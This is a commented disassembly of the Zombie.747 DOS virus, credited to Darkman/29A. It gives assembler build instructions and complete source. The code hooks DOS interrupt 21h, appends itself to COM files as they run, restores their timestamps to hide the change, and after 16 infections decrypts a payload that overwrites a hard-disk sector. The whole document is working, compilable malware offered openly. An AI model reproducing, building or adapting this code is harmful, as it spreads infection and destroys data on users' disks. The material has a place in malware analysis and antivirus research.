Zombie


Disassembly by Darkman/29A 
  Zombie.747 is a 747 bytes parasitic resident COM virus. Infects files at 
  load and execute program, except COMMAND.COM, by appending the virus to the 
  infected COM file. 
  To compile Zombie.747 with Turbo Assembler v 4.0 type: 
TASM /M ZOMBI747.ASM 
TLINK /t /x ZOMBI747.OBJ 


.model tiny 
.code 
 org   100h     ; Origin of Zombie.747 
code_begin: 
      call    crypt_virus 
      nop 
      nop 
      nop 
      nop 
      nop 
virus_begin: 
      call    delta_offset 
delta_offset: 
      pop     bp    ; Load BP from stack 
      sub     bp,03h   ; BP = delta offset 
      jmp     virus_begin_ 
stack_end: 
stack_      db      7ah dup(?)   ; Stack 
stack_begin: 
int21_addr   dd      ?    ; Address of interrupt 21h 
virus_seg    dw      ?    ; Segment of virus 
stack_seg    dw      ?    ; Stack segment 
stack_ptr    dw      ?    ; Stack pointer 
infect_off   dw      offset infect_file-offset virus_begin 
infect_mark  db      04h dup(?)   ; infection mark 
infect_count dw      ?    ; Infection counter 
virus_offset equ     word ptr $+01h  ; Offset of virus 
infect_code  db      0e9h,?,?   ; JMP imm16 (opcode 0e9h) 
origin_code  db      0cdh,20h,?   ; Original code of infected file 
code_begin_  dw      100h   ; Offset of beginning of code 
int21_virus  proc    near   ; Interrupt 21h of Zombie.747 
      pushf    ; Save flags at stack 
      cmp     ax,4b00h   ; Load and execute program? 
      je      load_and_exe  ; Equal? Jump to load_and_exe 
      cmp     ax,4b69h   ; Zombie.747 function? 
      je      virus_functi  ; Equal? Jump to virus_functi 
      popf    ; Load flags from stack 
      jmp     dword ptr cs:[offset int21_addr-offset virus_begin] 
      endp 
virus_functi: 
      mov     bx,ax   ; Already resident 
      popf    ; Load flags from stack 
      iret    ; Interrupt return! 
load_and_exe: 
      mov     cs:[offset infect_off-offset virus_begin],offset infect_file-offset virus_begin 
      call    setup_stack 
      popf    ; Load flags from stack 
      jmp     dword ptr cs:[offset int21_addr-offset virus_begin] 
setup_stack  proc    near   ; Setup stack of the virus 
      mov     cs:[offset stack_seg-offset virus_begin],ss 
      mov     cs:[offset stack_ptr-offset virus_begin],sp 
      mov     ss,cs:[offset virus_seg-offset virus_begin] 
      mov     sp,offset stack_begin-offset virus_begin 
      push    ax bx cx dx es ds si di bp 
      call    cs:[offset infect_off-offset virus_begin] 
      cmp     word ptr cs:[offset infect_count-offset virus_begin],10h 
      jbe     load_stack   ; Below or equal? Jump to load_stack 
      call    payload 
load_stack: 
      pop     bp di si ds es dx cx bx ax 
      mov     ss,cs:[offset stack_seg-offset virus_begin] 
      mov     sp,cs:[offset stack_ptr-offset virus_begin] 
      ret    ; Return! 
      endp 
payload      proc    near   ; Payload of the virus 
      mov     si,offset crypt_begin-offset virus_begin 
      mov     cx,(crypt_end-crypt_begin) 
decrypt_loop: 
      not     byte ptr [si]  ; Decrypt a byte 
      inc     si    ; Increase index register 
      loop    decrypt_loop 
crypt_begin: 
      mov     ax,303h   ; Write disk sector(s) 
      db      31h,0dbh   ; XOR BX,BX 
      mov     es,bx   ; ES:BX = pointer to data buffer 
      mov     cx,02h   ; CX = sector- and cylinder number 
      mov     dx,80h   ; DX = drive- and head number 
      int     13h 
crypt_end: 
      mov     si,offset crypt_begin-offset virus_begin 
      mov     cx,(crypt_end-crypt_begin) 
encrypt_loop: 
      not     byte ptr [si]  ; Encrypt a byte 
      inc     si    ; Increase index register 
      loop    encrypt_loop 
      ret    ; Return! 
      endp 
examine_file proc    near   ; Examine file 
      cld    ; Clear direction flag 
find_dot: 
      lodsb    ; AL = byte of filename 
      cmp     al,'.'              ; Found the dot in the filename 
      je      examine_fil_  ; Equal? Jump to examine_fil_ 
      or      al,al   ; End of filename? 
      loopnz  find_dot   ; Not zero? Jump to find_dot 
      jz      examine_exit  ; Zero? Jump to examine_exit 
examine_fil_: 
      mov     ax,[si-06h]  ; AX = word of filename 
      or      ax,2020h   ; Lowcase word of filename 
      cmp     ax,'mm'             ; COMMAND.COM? 
      je      examine_exit  ; Equal? Jump to examine_exit 
      lodsw    ; AX = word of extension 
      or      ax,2020h   ; Lowcase word of extension 
      cmp     ax,'oc'             ; Correct extension? 
      jne     examine_exit  ; Not equal? Jump to examine_exit 
      lodsb    ; AL = byte of extension 
      or      al,20h   ; Lowcase byte of extension 
      cmp     al,'m'              ; Correct extension? 
      jne     examine_exit  ; Not equal? Jump to examine_exit 
      clc    ; Clear carry flag 
      ret    ; Return! 
examine_exit: 
      stc    ; Set carry flag 
      ret    ; Return! 
      endp 
set_file_pos proc    near   ; Set current file position 
      xor     cx,cx   ; Zero CX 
      or      dx,dx   ; Zero DX? 
      jns     set_file_po_  ; Positive? Jump to set_file_po_ 
      not     cx    ; Invert each bit of low-order wor... 
set_file_po_: 
      mov     ah,42h   ; Set current file position 
      int     21h 
      ret    ; Return! 
      endp 
infect_file  proc    near   ; Infect COM file 
      mov     si,dx   ; SI = offset of filename 
      call    examine_file 
      jnc     open_file   ; No error? Jump to open_file 
      jmp     infect_exit_ 
open_file: 
      mov     ax,3d02h   ; Open file (read/write) 
      int     21h 
      jnc     read_file   ; No error? Jump to read_file 
      jmp     infect_exit_ 
read_file: 
      mov     bx,ax   ; BX = file handle 
      mov     dx,cs   ; DX = code segment 
      mov     ds,dx   ; DS "  "      " 
      mov     ah,3fh   ; Read from file 
      mov     cx,03h   ; Read three bytes 
      mov     dx,offset origin_code-offset virus_begin 
      int     21h 
      jnc     examine_mark  ; No error? Jump to examine_mark 
      jmp     close_file 
examine_mark: 
      mov     dx,-28h   ; DX = low-order word of offset fr... 
      mov     al,02h   ; Set current file position (EOF) 
      call    set_file_pos 
      jc      close_file   ; Error? Jump to close_file 
      nop 
      nop 
      nop 
      mov     ah,3fh   ; Read from file 
      mov     cx,04h   ; Read four bytes 
      mov     dx,offset infect_mark-offset virus_begin 
      int     21h 
      jc      close_file   ; Error? Jump to close_file 
      nop 
      nop 
      nop 
      cmp     word ptr ds:[offset infect_mark-offset virus_begin],'oZ' 
      jne     calc_offset  ; Not equal? Jump to calc_offset 
      nop 
      nop 
      nop 
      cmp     word ptr ds:[offset infect_mark+02h-offset virus_begin],'bm' 
      je      close_file   ; Previosly infected? Jump to clos... 
      nop 
      nop 
      nop 
calc_offset: 
      xor     dx,dx   ; Zero DX 
      mov     al,02h   ; Set current file position (EOF) 
      call    set_file_pos 
      jc      close_file   ; Error? Jump to close_file 
      nop 
      nop 
      nop 
      sub     ax,03h   ; AX = offset of virus 
      mov     ds:[offset virus_offset-offset virus_begin],ax 
      mov     ax,5700h   ; Get file's date and time 
      int     21h 
      push    cx dx   ; Save registers at stack 
      mov     ah,40h   ; Write to file 
      mov     cx,(code_end-virus_begin) 
      xor     dx,dx   ; Zero DX 
      int     21h 
      jc      infect_exit  ; Error? Jump to infect_exit 
      nop 
      nop 
      nop 
      cmp     cx,ax   ; Written all of the virus? 
      jne     infect_exit  ; Not equal? Jump to infect_exit 
      nop 
      nop 
      nop 
      mov     al,00h   ; Set current file position (SOF) 
      xor     dx,dx   ; Zero DX 
      call    set_file_pos 
      jc      infect_exit  ; Error? Jump to infect_exit 
      nop 
      nop 
      nop 
      mov     ah,40h   ; Write to file 
      mov     cx,03h   ; Write three bytes 
      mov     dx,offset infect_code-offset virus_begin 
      int     21h 
      jc      infect_exit  ; Error? Jump to infect_exit 
      nop 
      nop 
      nop 
infect_exit: 
      inc     word ptr cs:[offset infect_count-offset virus_begin] 
      mov     ax,5701h   ; Set file's date and time 
      pop     dx cx   ; Load registers from stack 
      int     21h 
close_file: 
      mov     ah,3eh   ; Close file 
      int     21h 
infect_exit_: 
      ret    ; Return! 
      endp 
get_psp_own  proc    near   ; Get PSP segment of owner or spec... 
      mov     ah,52h   ; Get list of lists 
      int     21h 
      mov     bx,es:[bx-02h]  ; BX = segment of first memory con... 
      mov     es,bx   ; ES =    "    "    "     "      " 
      mov     bx,es:[01h]  ; BX = PSP segment of owner or spe... 
      ret    ; Return! 
      endp 
allocate_mem proc    near   ; Allocate memory 
      push    es    ; Save ES at stack 
      mov     ax,cs   ; AX = segment of PSP for current ... 
      dec     ax    ; AX = segment of Memory Control B... 
      mov     es, ax   ; ES =    "    "    "       "     " 
      mov     bx,es:[03h]  ; BX = size of memory block in par... 
      pop     es    ; Load ES from stack 
      sub     bx,cx   ; Subtract number of paragraphs to... 
      dec     bx    ; BX = new size in paragraphs 
      mov     ah,4ah   ; Resize memory block 
      int     21h 
      jc      allocat_exit  ; Error? Jump to allocat_exit 
      nop 
      nop 
      nop 
      mov     ah,48h   ; Allocate memory 
      mov     bx,cx   ; BX = number of paragraphs to all... 
      int     21h 
      jc      allocat_exit  ; Error? Jump to allocat_exit 
      nop 
      nop 
      nop 
      push    ax    ; Save AX at stack 
      dec     ax    ; AX = segment of Memory Control B... 
      mov     es,ax   ; ES =    "    "    "       "     " 
      push    es    ; Save ES at stack 
      call    get_psp_own 
      pop     es    ; Load ES from stack 
      mov     es:[01h],bx  ; Store PSP segment of owner or sp... 
      pop     es    ; Load ES from stack 
      clc    ; Clear carry flag 
allocat_exit: 
      ret    ; Return! 
      endp 
virus_begin_: 
      mov     ax,4b69h   ; Zombie.747 function 
      xor     bx,bx   ; Zero BX 
      int     21h 
      cmp     bx,4b69h   ; Already resident? 
      je      virus_exit   ; Equal? Jump to virus_exit 
      nop 
      nop 
      nop 
      mov     cx,(data_end-virus_begin+0fh)/10h 
      call    allocate_mem 
      jc      virus_exit   ; Error? Jump to virus_exit 
      nop 
      nop 
      nop 
      mov     si,bp   ; SI = delta offset 
      xor     di,di   ; Zero DI 
      mov     cx,(code_end-virus_begin) 
      cld    ; Clear direction flag 
      rep     movsb   ; Move virus to top of memory 
      mov     es:[offset virus_seg-offset virus_begin],es 
      push    es    ; Save ES at stack 
      mov     ax,3521h   ; Get interrupt vector 21h 
      int     21h 
      mov     dx,es   ; DX = segment of interrupt 21h 
      pop     es    ; Load ES from stack 
      mov     word ptr es:[offset int21_addr-offset virus_begin],bx 
      mov     word ptr es:[offset int21_addr+02h-offset virus_begin],dx 
      mov     ax,2521h   ; Set interrupt vector 21h 
      push    es    ; Save ES at stack 
      pop     ds    ; Load DS from stack (ES) 
      mov     dx,offset int21_virus-offset virus_begin 
      int     21h 
virus_exit: 
      mov     ax,cs   ; AX = segment of PSP for current ... 
      mov     ds,ax   ; DS =    "    "   "   "     "     " 
      mov     es,ax   ; ES =    "    "   "   "     "     " 
      lea     si,origin_code  ; SI = offset of origin_code 
      sub     si,offset virus_begin 
      add     si,bp   ; Add delta offset to offset of co... 
      mov     di,100h   ; DI = offset of beginning of code 
      mov     cx,03h   ; Move three bytes 
      cld    ; Clear direction flag 
      rep     movsb   ; Move the original code to beginning 
      lea     bx,code_begin_  ; BX = offset of code_begin_ 
      sub     bx,offset virus_begin 
      add     bx,bp   ; Add delta offset to offset of co... 
      jmp     [bx] 
      db      'Zombie - Danish woodoo hackers (14AUG91)' 
code_end: 
data_end: 
crypt_virus  proc    ; Encrypt payload of the virus 
      lea     si,crypt_begin  ; SI = offset of crypt_begin 
      mov     cx,(crypt_end-crypt_begin) 
crypt_loop: 
      not     byte ptr [si]  ; Encrypt a byte 
      inc     si    ; Increase index register 
      loop    crypt_loop 
      ret    ; Return! 
      endp 
end      code_begin